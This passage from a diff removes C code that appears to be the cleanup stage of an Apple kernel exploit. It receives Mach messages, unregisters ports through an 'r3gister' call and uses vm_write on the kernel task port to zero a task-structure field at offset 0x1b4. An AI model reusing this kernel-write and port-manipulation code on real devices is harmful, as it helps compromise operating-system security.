-    typedef struct {
-        mach_msg_header_t Head;
-        mach_msg_body_t msgh_body;
-        mach_msg_ool_ports_descriptor_t init_port_set[1];
-        mach_msg_trailer_t trailer;
-    } Reply;
-#pragma pack()
-    Reply reply;
-
-    while(1)
-    {
-        ret = mach_msg(&reply.Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, sizeof(reply), sanity_port, 0, MACH_PORT_NULL);
-        if(ret != KERN_SUCCESS)
-        {
-            printf("cleanup done\n");
-            break;
-        }
-        mach_port_t *port = reply.init_port_set[0].address;
-
-        printf("Unregistering port %x...\n", *port);
-        mach_port_t arr[3] = { MACH_PORT_NULL, MACH_PORT_NULL, *port };
-        OUT(r3gister(mach_task_self(), arr, 3, 3));
-        uintptr_t zero = 0;
-        OUT(vm_write(kernel_task, mytaskaddr + 0x1b4, (vm_offset_t)&zero, sizeof(zero)));
-    }
-
-    out:;
-}
\ No newline at end of file